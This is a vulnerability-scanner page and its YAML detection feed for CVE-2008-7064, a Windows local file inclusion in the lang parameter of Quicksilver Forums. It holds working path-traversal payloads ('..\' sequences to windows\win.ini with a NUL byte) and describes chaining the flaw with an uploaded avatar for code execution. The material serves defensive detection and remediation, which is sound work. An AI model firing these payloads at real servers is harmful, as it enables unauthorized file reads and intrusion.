Quicksilver Forums — 1 vulnerability check
noctis ships 1 vulnerability check for Quicksilver Forums, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Quicksilver Forums lang Local File Inclusion
| CVE | CVE-2008-7064 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/quicksilver-forums/CVE-2008-7064.yaml |
Tests Quicksilver Forums (1.4.2 and earlier) on Windows servers for the unauthenticated local file inclusion in the lang parameter of every forum page, whose language-pack check refuses "/" but not "\". In the usual forum folders (/quicksilver, /forum, /forums, /qsf, /board, the web root) the feed first requests index.php with lang set to an absent language pack behind "..\", which must render the forum page. It then sends lang set to a "..\" sequence ending in windows\win.ini and a NUL byte (%00): the content of win.ini in the reply confirms the inclusion, provided a control request for the same file under an absent random folder does not return it. When the NUL byte is not honoured (PHP 5.3.4 and later), it requests the English pack through "..\languages\en": the error "Class '..\languages\en' not found" confirms the traversal reached the include. When errors are not displayed, a reply without the forum page between two absent-pack requests that both render it is reported with a lower confidence. Linux servers, where "\" is an ordinary character, are not affected and are not reported. Only the world-readable win.ini is read.
How noctis detects it
- HTTP(S) request
GET {{base}}/index.php?a=board&lang=..%5Clanguages%5Cnoctis-{{oob_token}} - Checks
base_r.bodyfor(?i)Quicksilver Forums|MercuryBoard - HTTP(S) request
GET {{base}}/index.php?a=board&lang=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwin… - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{base}}/index.php?a=board&lang=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cnoc… - Checks
wctrl_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\])→ finding QoD 75: Quicksilver Forums lang Local File Inclusion (CVE-2008-7064) - HTTP(S) request
GET {{base}}/index.php?a=board&lang=..%5Clanguages%5Cen - Checks
en_r.bodyforClass (?:'|"|�?39;|")\.\.\\languages\\en(?:'|"|�?39;|")…→ finding QoD 75: Quicksilver Forums lang Local File Inclusion (CVE-2008-7064) - Checks
en_r.bodyfor(?i)Quicksilver Forums|MercuryBoard - HTTP(S) request
GET {{base}}/index.php?a=board&lang=..%5Clanguages%5Cnoctis-{{oob_token}}-2 - Checks
ctrl2_r.bodyfor(?i)Quicksilver Forums|MercuryBoard - Checks
en_r.bodyfor(?s)^.{0,300}→ finding QoD 70: Quicksilver Forums lang Local File Inclusion (CVE-2008-7064)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2008-7064
- https://www.exploit-db.com/exploits/7217
- https://github.com/Arthmoor/Quicksilver-Forums
Feed source — tests/vulnerabilities/quicksilver-forums/CVE-2008-7064.yaml
# Quicksilver Forums <= 1.4.2 "lang" local file inclusion (Windows) — CVE-2008-7064
#
# Every Quicksilver Forums page loads its language pack through global.php
# get_lang() (advisory: exploit-db 7217, code of 1.4.2):
# if (isset($this->get['lang'])) $lang = $this->get['lang'];
# if (strstr($lang, '/') || !file_exists($path . 'languages/' . $lang . '.php'))
# $lang = 'en';
# include $path . 'languages/' . $lang . '.php';
# $obj = new $lang();
# Only "/" is refused, so on a Windows server "..\" leaves the languages folder
# (magic quotes are undone by the forum, so php.ini does not matter). On PHP
# < 5.3.4 a NUL byte (%00) cuts the ".php" suffix off both calls, so any
# readable file is included; the advisory chains it with an uploaded avatar
# for code execution. "new $lang()" then always dies with
# "Class '<lang>' not found", since the traversal string is no class name.
# The fix (later releases) refuses "\" too. Linux servers are not affected.
#
# Detection (benign, read-only), per forum folder:
# Every request also sends a=board (the board index module, present in every
# release): later releases answer 404 to a query string without "a".
# 1. GET index.php?a=board&lang=..\languages\noctis-<token> — an absent pack in the
# same shape: the forum falls back to English and the page must show
# Quicksilver Forums (gate + baseline).
# 2. GET index.php?a=board&lang=..\..\(x10)windows\win.ini%00 — win.ini content in
# the reply proves the inclusion (PHP < 5.3.4). A control with the same
# ending under an absent random folder must come back without it. QoD 75.
# 3. Else GET index.php?a=board&lang=..\languages\en — the real English pack reached
# through "..\": the include passes and "new" dies with
# "Class '..\languages\en' not found" (display_errors on). QoD 75.
# 4. Else, when that reply has no forum page (200 or 500) while the absent
# pack of step 1 and a second absent pack after it both render the page,
# the fatal error is inferred (display_errors off). QoD 70.
# The uploaded-avatar step of the advisory is not reproduced (needs an
# account, writes a file).
#
# Improvements over the source check (a version-only test, <= 1.4.2):
# - the inclusion itself is proven, so an install fixed by hand, a renamed
# version string or a Linux server (not affected, yet reported by a
# version test) gives the right answer;
# - the forum folder is searched (/quicksilver, /forum, /forums, /qsf,
# /board, web root) instead of relying on a prior detection.
#
# CVSS: CVE-2008-7064 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/quicksilver_forums_32452.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100504, GPL-2.0-only).
uid: a2d76250-d330-49d9-9086-10f6c39bec3b
name: "Quicksilver Forums lang Local File Inclusion (CVE-2008-7064)"
description: |
Tests Quicksilver Forums (1.4.2 and earlier) on Windows servers for the
unauthenticated local file inclusion in the lang parameter of every forum
page, whose language-pack check refuses "/" but not "\". In the usual forum
folders (/quicksilver, /forum, /forums, /qsf, /board, the web root) the feed
first requests index.php with lang set to an absent language pack behind
"..\", which must render the forum page. It then sends lang set to a "..\"
sequence ending in windows\win.ini and a NUL byte (%00): the content of
win.ini in the reply confirms the inclusion, provided a control request for
the same file under an absent random folder does not return it. When the
NUL byte is not honoured (PHP 5.3.4 and later), it requests the English pack
through "..\languages\en": the error "Class '..\languages\en' not found"
confirms the traversal reached the include. When errors are not displayed,
a reply without the forum page between two absent-pack requests that both
render it is reported with a lower confidence. Linux servers, where "\" is
an ordinary character, are not affected and are not reported. Only the
world-readable win.ini is read.
cves: [CVE-2008-7064]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [quicksilver-forums, php, lfi, local-file-inclusion, path-traversal, file-read, windows, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2008-7064"
- "https://www.exploit-db.com/exploits/7217"
- "https://github.com/Arthmoor/Quicksilver-Forums"
# OpenVAS/Greenbone NASL 2010/quicksilver_forums_32452.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per forum folder.
# Each pass resets the values it reads, so nothing is left over.
- id: init-base-r
action: set_var
var_name: base_r
var_value: {status: 0, body: ""}
loop:
var: base
over:
- "/quicksilver"
- "/forum"
- "/forums"
- "/qsf"
- "/board"
- ""
- id: init-is-qsf
action: set_var
var_name: is_qsf
var_value: false
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-win-hit
action: set_var
var_name: win_hit
var_value: false
- id: init-wctrl-r
action: set_var
var_name: wctrl_r
var_value: {status: 0, body: ""}
- id: init-wctrl-hit
action: set_var
var_name: wctrl_hit
var_value: false
- id: init-en-r
action: set_var
var_name: en_r
var_value: {status: 0, body: ""}
- id: init-msg-hit
action: set_var
var_name: msg_hit
var_value: false
- id: init-en-page
action: set_var
var_name: en_page
var_value: false
- id: init-ctrl2-r
action: set_var
var_name: ctrl2_r
var_value: {status: 0, body: ""}
- id: init-ctrl2-qsf
action: set_var
var_name: ctrl2_qsf
var_value: false
# ── 1. Absent language pack behind "..\": the forum falls back to English.
- id: baseline
action: http_request
method: GET
path: "{{base}}/index.php?a=board&lang=..%5Clanguages%5Cnoctis-{{oob_token}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: base_r
- id: baseline-is-qsf
action: match
source: base_r.body
pattern: "(?i)Quicksilver Forums|MercuryBoard"
condition: "base_r.status == 200"
on_match:
set_vars:
is_qsf: true
# ── 2. windows\win.ini through "..\" + NUL byte (PHP < 5.3.4) ────────────
- id: read-winini
action: http_request
method: GET
path: "{{base}}/index.php?a=board&lang=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "is_qsf"
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: "is_qsf"
on_match:
set_vars:
win_hit: true
# Control: same ending (windows\win.ini + NUL) under an absent random
# folder — a honeypot keying a fake win.ini on the file name answers it too.
- id: winini-control
action: http_request
method: GET
path: "{{base}}/index.php?a=board&lang=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cnoctis-absent-{{oob_token}}%5Cwindows%5Cwin.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "win_hit"
store_as: wctrl_r
- id: winini-control-content
action: match
source: wctrl_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: "win_hit"
on_match:
set_vars:
wctrl_hit: true
- id: report-winini
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: "win_hit && wctrl_r.status != 0 && wctrl_hit == false"
on_match:
finding:
title: "Quicksilver Forums lang Local File Inclusion (CVE-2008-7064)"
description: "An unauthenticated request to the Quicksilver Forums index.php with the lang parameter set to a \"..\\\" sequence ending in windows\\win.ini and a NUL byte returned the content of win.ini, while the same request for that file under an absent folder did not. The same flaw includes any other file the web server user can read, such as the forum configuration, and runs any PHP code found in an included file, for instance an uploaded avatar."
remediation: "Upgrade Quicksilver Forums to a release whose language check also refuses \"\\\" (the project is no longer maintained: consider replacing it), and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
confidence_delta: 0.55
qod: 75
evidence: "{{base}}/index.php?a=board&lang=..\\(x10)windows\\win.ini%00 returned the content of win.ini; control for an absent folder returned no file content"
stop: true
# ── 3. The English pack through "..\": include passes, "new" dies ─────────
- id: read-en
action: http_request
method: GET
path: "{{base}}/index.php?a=board&lang=..%5Clanguages%5Cen"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "is_qsf"
store_as: en_r
- id: report-class-error
action: match
source: en_r.body
pattern: 'Class (?:''|"|�?39;|")\.\.\\languages\\en(?:''|"|�?39;|") not found'
condition: "is_qsf"
on_match:
set_vars:
msg_hit: true
finding:
title: "Quicksilver Forums lang Local File Inclusion (CVE-2008-7064)"
description: "An unauthenticated request to the Quicksilver Forums index.php with the lang parameter set to ..\\languages\\en made the forum include its English language pack through a \"..\\\" sequence and fail with the error \"Class '..\\languages\\en' not found\": the language check accepts \"..\\\" paths and passes them to include. On PHP before 5.3.4 a NUL byte also cuts the .php suffix, so any file the web server user can read is included, and PHP code in an included file, for instance an uploaded avatar, is run."
remediation: "Upgrade Quicksilver Forums to a release whose language check also refuses \"\\\" (the project is no longer maintained: consider replacing it), and turn display_errors off on production servers."
confidence_delta: 0.50
qod: 75
evidence: "{{base}}/index.php?a=board&lang=..\\languages\\en returned the PHP error \"Class '..\\languages\\en' not found\" (an absent pack in the same shape rendered the forum page)"
stop: true
# ── 4. No error shown: the reply lost the forum page between two absent-
# pack requests that both render it.
- id: en-page
action: match
source: en_r.body
pattern: "(?i)Quicksilver Forums|MercuryBoard"
condition: "is_qsf && msg_hit == false"
on_match:
set_vars:
en_page: true
- id: control-2
action: http_request
method: GET
path: "{{base}}/index.php?a=board&lang=..%5Clanguages%5Cnoctis-{{oob_token}}-2"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "is_qsf && msg_hit == false && en_page == false && (en_r.status == 200 || en_r.status == 500)"
store_as: ctrl2_r
- id: control-2-is-qsf
action: match
source: ctrl2_r.body
pattern: "(?i)Quicksilver Forums|MercuryBoard"
condition: "is_qsf && msg_hit == false && en_page == false && ctrl2_r.status == 200"
on_match:
set_vars:
ctrl2_qsf: true
# The finding quotes the broken reply itself (empty on an empty 500).
- id: report-broken-page
action: match
source: en_r.body
pattern: "(?s)^.{0,300}"
condition: "is_qsf && msg_hit == false && en_page == false && ctrl2_qsf"
on_match:
finding:
title: "Quicksilver Forums lang Local File Inclusion (CVE-2008-7064)"
description: "An unauthenticated request to the Quicksilver Forums index.php with the lang parameter set to ..\\languages\\en (the forum's own English pack reached through a \"..\\\" sequence) broke the page, while two requests for absent packs in the same shape, sent before and after it, rendered the forum normally: the language check accepts \"..\\\" paths and passes them to include, which then fails on the class name. Errors are not displayed, so the include could not be shown directly. On PHP before 5.3.4 a NUL byte also cuts the .php suffix, so any file the web server user can read is included."
remediation: "Upgrade Quicksilver Forums to a release whose language check also refuses \"\\\" (the project is no longer maintained: consider replacing it)."
confidence_delta: 0.40
qod: 70
evidence: "{{base}}/index.php?a=board&lang=..\\languages\\en answered HTTP {{en_r.status}} without the forum page; absent packs ..\\languages\\noctis-<token> before and after it rendered the forum page"
stop: true